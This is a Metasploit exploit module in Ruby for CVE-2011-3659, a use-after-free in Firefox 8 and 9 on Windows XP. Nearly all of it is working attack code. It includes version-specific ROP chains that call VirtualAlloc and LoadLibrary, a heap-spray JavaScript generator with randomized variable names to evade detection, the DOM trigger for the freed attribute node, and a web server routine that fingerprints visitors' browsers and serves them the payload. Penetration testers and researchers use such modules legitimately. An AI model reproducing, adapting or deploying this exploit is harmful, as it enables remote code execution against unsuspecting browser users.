##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Firefox 8/9 AttributeChildRemoved() Use-After-Free',
   'Description'    => %q{
    This module exploits a use-after-free vulnerability in Firefox 8/8.0.1 and 9/9.0.1.
    Removal of child nodes from the nsDOMAttribute can allow for a child
    to still be accessible after removal due to a premature notification
    of AttributeChildRemoved. Since mFirstChild is not set to NULL until
    after this call is made, this means the removed child will be accessible
    after it has been removed. By carefully manipulating the memory layout,
    this can lead to arbitrary code execution.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'regenrecht',                          #vulnerability discovery
     'Lincoln<lincoln[at]corelan.be>',      #Metasploit module
     'corelanc0d3r<peter.ve[at]corelan.be>' #Metasploit module
    ],
   'References'     =>
    [
     [ 'CVE', '2011-3659' ],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/upcoming/'], #ZDI-CAN-1413
     [ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=708198' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'InitialAutoRunScript' => 'migrate -f'
    },
   'Payload'        =>
    {
     'BadChars'       => "\x00\x0a\x0d\x34",
     'DisableNops'    => true,
     'PrependEncoder' => "\x81\xc4\x24\xfa\xff\xff"  #ADD ESP, -5DC
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', {} ],
     [
      'Windows XP - Firefox 8 / 8.0.1',
      {
       'Ret'  => 0x0C0C0C0C,
       'OffSet' => 0x606,
       'Size'  => 0x40000,
       'StackFlip' => 0x7818f50b, # XCHG EAX,ESP # POP EBP # POP EBX # RETN [MOZCRT19.dll]
       'PopEsp' => [ 0x0c0c0c0c, 0x0c0c0c0c, 0x7819548e, 0x0c0c0c10 ],
       'FF'  => 8,
       'OS'  => 'XP'
      }
     ],
     [
      'Windows XP - Firefox 9',
      {
       'Ret'  => 0x0C0C0C0C,
       'OffSet' => 0x606,
       'Size'  => 0x40000,
       'StackFlip' => 0x1000ed58, # XCHG EAX,ESP # ... # POP ESI # RETN [nspr4.dll]  
       'PopEsp' => [ 0x0c0c0c0c, 0x10006a01, 0x0c0c0c10 ], # POP ESP # RETN [nspr4.dll] 
       'FF'  => 9,
       'OS'  => 'XP'
      }
     ],
     [
      'Windows XP - Firefox 9.0.1',
      {
       'Ret'  => 0x0C0C0C0C,
       'OffSet' => 0x606,
       'Size'  => 0x40000,
       'StackFlip' => 0x1000ed4a, # XCHG EAX,ESP # ... # POP ESI # RETN [nspr4.dll]  
       'PopEsp' => [ 0x0c0c0c0c, 0x10006a11, 0x0c0c0c10 ], # POP ESP # RETN [nspr4.dll]
       'FF'  => 901,
       'OS'  => 'XP'
      }
     ]
    ],
   'DisclosureDate' => 'Dec 6 2011',
   'DefaultTarget'  => 0))

 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def junk(n=4)
  return rand_text_alpha_upper(n).unpack("L")[0].to_i
 end

 def nop
  return make_nops(4).unpack("L")[0].to_i
 end

 def get_rop_chain(ffversion,osversion)

  # mona.py ROP chains

  rop_chain = []

  if ffversion == 8 and osversion == "XP"

   rop_chain =
   [
    0x7819c80a,     # POP EAX # RETN [MOZCRT19.dll]
    0x781a909c,     # ptr to &VirtualAlloc() [IAT MOZCRT19.dll]
    0x7813af5d,     # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll]
    0x78197f06,     # XCHG EAX,ESI # RETN [MOZCRT19.dll]
    0x7814eef1,     # POP EBP # RETN [MOZCRT19.dll]
    0x781503c3,     # & call esp [MOZCRT19.dll]
    0x781391d0,     # POP EBX # RETN [MOZCRT19.dll]
    0x00000001,     # 0x00000001-> ebx
    0x781a147c,     # POP EDX # RETN [MOZCRT19.dll]
    0x00001000,     # 0x00001000-> edx
    0x7819728e,     # POP ECX # RETN [MOZCRT19.dll]
    0x00000040,     # 0x00000040-> ecx
    0x781945b5,     # POP EDI # RETN [MOZCRT19.dll]
    0x78152809,     # RETN (ROP NOP) [MOZCRT19.dll]
    0x7819ce58,     # POP EAX # RETN [MOZCRT19.dll]
    nop,            # nop
    0x7813d6b7,     # PUSHAD # RETN [MOZCRT19.dll]
   ].flatten.pack("V*")

  elsif ffversion == 9 and osversion == "XP"

   rop_chain =
   [
    0x10019ee9, # POP ECX # RETN [nspr4.dll]
    0x10020060, # ptr to &LoadLibraryW() [IAT nspr4.dll]
    0x1000f994, # MOV EAX,DWORD PTR DS:[ECX] # RETN [nspr4.dll]
    0x10012ad0, # POP EBX # RETN [nspr4.dll]
    0x00000000, # clear ebx
    0x10006f41, # ADD EBX,EAX # XOR EAX,EAX # RETN
    0x1000cf40, # POP EDX # RETN 00 [nspr4.dll]
    0x1000d6ce, # RETN (ROP NOP) [nspr4.dll]
    0x10019ee9, # POP ECX # RETN [nspr4.dll]
    0x0c0c0c50, # xul.dll (Unicode string)
    0x1000eeb4, # POP EDI # RETN [nspr4.dll]
    0x1001f145, # ADD ESP,0C # RETN [nspr4.dll] - call LoadLibrary
    0x10004860, # POP EAX # RETN [nspr4.dll]
    0x1001f111, # ADD ESP,10 # POP ESI # RETN [nspr4.dll]
    0x100058B3, # PUSHAD # CALL EAX [nspr4.dll]
    junk,  # win some, lose some
    0x00750078, # xu
    0x002e006c, # l.
    0x006c0064, # dl
    0x0000006c, # l
    0x1000cf40, # POP EDX # RETN 00 [nspr4.dll]
    0x00A63374, # Delta to IAT VirtualAlloc()
    0x10018ada, # ADD EAX,EDX # RETN [nspr4.dll]
    0x10008ddf, # MOV EAX,DWORD PTR DS:[EAX] # RETN    ** [nspr4.dll]
    0x1000a031,     # POP ESI # RETN    ** [nspr4.dll]
    0x1000a031,     # POP ESI # RETN    ** [nspr4.dll] (readable address)
    0x10013f1f, # XCHG EAX,ESI # ADD DL,BYTE PTR DS:[EAX] # RETN [nspr4.dll]
    0x1000687b, # POP EBP # RETN [nspr4.dll]
    0x1001a59b, # & call esp [nspr4.dll]
    0x10012ad0, # POP EBX # RETN [nspr4.dll]
    0x00000001, # 0x00000001-> ebx
    0x1000cf40, # POP EDX # RETN 00 [nspr4.dll]
    0x00001000, # 0x00001000-> edx
    0x1001069e, # POP ECX # RETN [nspr4.dll]
    0x00000040, # 0x00000040-> ecx
    0x1000eeb4, # POP EDI # RETN [nspr4.dll]
    0x1000d6ce, # RETN (ROP NOP) [nspr4.dll]
    0x10004860, # POP EAX # RETN [nspr4.dll]
    0x10004860, # POP EAX # RETN [nspr4.dll]
    0x100058B3, # PUSHAD # CALL EAX [nspr4.dll]
   ].flatten.pack("V*")

  elsif ffversion == 901 and osversion == "XP"

   rop_chain =
   [
    0x1000bfc1, # POP ECX # RETN [nspr4.dll]
    0x10020060, # ptr to &LoadLibraryW() [IAT nspr4.dll]
    0x1000f986, # MOV EAX,DWORD PTR DS:[ECX] # RETN [nspr4.dll]
    0x1000f5ef, # POP EBX # RETN [nspr4.dll]
    0x00000000, # clear ebx
    0x10006f51, # ADD EBX,EAX # XOR EAX,EAX # RETN
    0x1000cf2c, # POP EDX # RETN 00 [nspr4.dll]
    0x1001ea03, # RETN (ROP NOP) [nspr4.dll]
    0x1000bfc1, # POP ECX # RETN [nspr4.dll]
    0x0c0c0c50, # xul.dll (Unicode string)
    0x1000eea6, # POP EDI # RETN [nspr4.dll]
    0x1000dda4, # ADD ESP,0C # RETN [nspr4.dll] - call LoadLibrary
    0x10004870, # POP EAX # RETN [nspr4.dll]
    0x10001ab4, # ADD ESP,10 # POP ESI # RETN [nspr4.dll]
    0x100058c3, # PUSHAD # CALL EAX [nspr4.dll]
    junk,  # win some, lose some
    0x00750078, # xu
    0x002e006c, # l.
    0x006c0064, # dl
    0x0000006c, # l
    0x1000cf2c, # POP EDX # RETN 00 [nspr4.dll]
    0x00A63374, # Delta to IAT VirtualAlloc()
    0x10018acf, # ADD EAX,EDX # RETN [nspr4.dll]
    0x10008dd1, # MOV EAX,DWORD PTR DS:[EAX] # RETN    ** [nspr4.dll]
    0x1000e0b8, # POP ESI # RETN    ** [nspr4.dll]
    0x1000e0b8, # POP ESI # RETN    ** [nspr4.dll] (readable address)
    0x10013f14, # XCHG EAX,ESI # ADD DL,BYTE PTR DS:[EAX] # RETN [nspr4.dll]
    0x100162d5, # POP EBP # RETN [nspr4.dll]
    0x10019d12, # & push esp #  ret  [nspr4.dll]
    0x1000f5ef, # POP EBX # RETN [nspr4.dll]
    0x00000001, # 0x00000001-> ebx
    0x1000cf2c, # POP EDX # RETN 00 [nspr4.dll]
    0x00001000, # 0x00001000-> edx
    0x10007e46, # POP ECX # RETN [nspr4.dll]
    0x00000040, # 0x00000040-> ecx
    0x1000eea6, # POP EDI # RETN [nspr4.dll]
    0x1001ea03, # RETN (ROP NOP) [nspr4.dll]
    0x10004870, # POP EAX # RETN [nspr4.dll]
    0x10004870, # POP EAX # RETN [nspr4.dll]
    0x100058c3, # PUSHAD # CALL EAX [nspr4.dll]
   ].flatten.pack("V*")

  end

  return rop_chain
 end

 def on_request_uri(cli, request)
  # Re-generate the payload.
  return if ((p = regenerate_payload(cli)) == nil)

  # determine the target FF and OS version

  ffversion = ""
  osversion = ""

  agent = request.headers['User-Agent']

  if agent !~ /Firefox\/8\.0/ and agent !~ /Firefox\/9\.0/
   vprint_error("This browser version is not supported: #{agent.to_s}")
   send_not_found(cli)
   return
  end

  my_target = target
  if my_target.name == 'Automatic'
   if agent =~ /NT 5\.1/ and agent =~ /Firefox\/8/
    my_target = targets[1]
   elsif agent =~ /NT 5\.1/ and agent =~ /Firefox\/9\.0\.1/
    my_target = targets[3]
   elsif agent =~ /NT 5\.1/ and agent =~ /Firefox\/9\.0/
    my_target = targets[2]
   elsif vprint_error("This Operating System is not supported: #{agent.to_s}")
    send_not_found(cli)
    return
   end
   target = my_target
  end

  # Create the payload
  print_status("Creating payload for #{target.name}")

  rop = [ target['StackFlip'] ].pack("V")
  rop << get_rop_chain(target['FF'],target['OS'])
  rop_js = Rex::Text.to_unescape(rop, Rex::Arch.endian(target.arch))

  code = payload.encoded
  code_js = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))

  popesp = target['PopEsp'].flatten.pack("V*")
  popesp_js = Rex::Text.to_unescape(popesp, Rex::Arch.endian(target.arch))

  filler = [ junk ].pack("V*")
  filler_js = Rex::Text.to_unescape(filler, Rex::Arch.endian(target.arch))

  # random JavaScript variable names
  i_name                  = rand_text_alpha(rand(10) + 5)
  rop_name                = rand_text_alpha(rand(10) + 5)
  code_name               = rand_text_alpha(rand(10) + 5)
  offset_length_name      = rand_text_alpha(rand(10) + 5)
  randnum1_name           = rand_text_alpha(rand(10) + 5)
  randnum2_name           = rand_text_alpha(rand(10) + 5)
  randnum3_name           = rand_text_alpha(rand(10) + 5)
  randnum4_name           = rand_text_alpha(rand(10) + 5)
  paddingstr_name         = rand_text_alpha(rand(10) + 5)
  padding_name            = rand_text_alpha(rand(10) + 5)
  junk_offset_name        = rand_text_alpha(rand(10) + 5)
  single_sprayblock_name  = rand_text_alpha(rand(10) + 5)
  sprayblock_name         = rand_text_alpha(rand(10) + 5)
  varname_name            = rand_text_alpha(rand(10) + 5)
  thisvarname_name        = rand_text_alpha(rand(10) + 5)
  attr_name               = rand_text_alpha(rand(10) + 5)
  foo_name                = rand_text_alpha(rand(10) + 5)
  bar_name                = rand_text_alpha(rand(10) + 5)
  ni_name                 = rand_text_alpha(rand(10) + 5)
  small_name              = rand_text_alpha(rand(10) + 5)
  addr_name               = rand_text_alpha(rand(10) + 5)
  run_name                = rand_text_alpha(rand(10) + 5)
  container_name          = rand_text_alpha(rand(10) + 5)

  # corelan precise heap spray:
  # https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
  # + trigger routine
  spray = <<-JS

  var #{rop_name} = unescape("#{rop_js}");
  var #{code_name} = unescape("#{code_js}");
  var #{offset_length_name} = #{target['OffSet']};

  for (var #{i_name}=0; #{i_name} < 0x320; #{i_name}++)
  {
   var #{randnum1_name}=Math.floor(Math.random()*90)+10;
   var #{randnum2_name}=Math.floor(Math.random()*90)+10;
   var #{randnum3_name}=Math.floor(Math.random()*90)+10;
   var #{randnum4_name}=Math.floor(Math.random()*90)+10;

   var #{paddingstr_name} = "%u" + #{randnum1_name}.toString() + #{randnum2_name}.toString();
   #{paddingstr_name} += "%u" + #{randnum3_name}.toString() + #{randnum4_name}.toString();

   var #{padding_name} = unescape(#{paddingstr_name});

   while (#{padding_name}.length < 0x1000) #{padding_name}+= #{padding_name};

   #{junk_offset_name} = #{padding_name}.substring(0, #{offset_length_name});

   var #{single_sprayblock_name} = #{junk_offset_name} + #{rop_name} + #{code_name};
   #{single_sprayblock_name} += #{padding_name}.substring(0,0x800 - #{offset_length_name} - #{rop_name}.length - #{code_name}.length);

   while (#{single_sprayblock_name}.length < #{target['Size']}) #{single_sprayblock_name} += #{single_sprayblock_name};

   #{sprayblock_name} = #{single_sprayblock_name}.substring(0, (#{target['Size']}-6)/2);

   #{varname_name} = "var" + #{randnum1_name}.toString() + #{randnum2_name}.toString();
   #{varname_name} += #{randnum3_name}.toString() + #{randnum4_name}.toString() + #{i_name}.toString();
   #{thisvarname_name} = "var " + #{varname_name} + "= '" + #{sprayblock_name} +"';";
   eval(#{thisvarname_name});
  }

  function #{run_name}() {
   var #{attr_name} = document.createAttribute("#{foo_name}");
   #{attr_name}.value = "#{bar_name}";

   var #{ni_name} = document.createNodeIterator(
     #{attr_name}, NodeFilter.SHOW_ALL,
     {acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; }},
     false);

   #{ni_name}.nextNode();
   #{ni_name}.nextNode();
   #{ni_name}.previousNode();

   #{attr_name}.value = null;
 
   const #{addr_name} = unescape("#{filler_js}");
   var #{container_name} = new Array();
   var #{small_name} = unescape("#{popesp_js}")
   while (#{small_name}.length != 30)
    #{small_name} += #{addr_name};
   for (#{i_name} = 0; #{i_name} < 1024*1024*2; ++#{i_name})
    #{container_name}.push(unescape(#{small_name}));

   #{ni_name}.referenceNode;

  }
  JS

  # build html
  content = <<-HTML
  <html>
  <head>
  <meta http-equiv="refresh" content="3">
  <body>
  <script language='javascript'>
  #{spray}
  </script>
  </head>
  <body onload="#{run_name}();">
  </svg>
  </body>
  </html>
  HTML

  print_status("Returning HTML")

  # Transmit the response to the client
  send_response(cli, content, {'Content-Type'=>'text/html'})

 end

end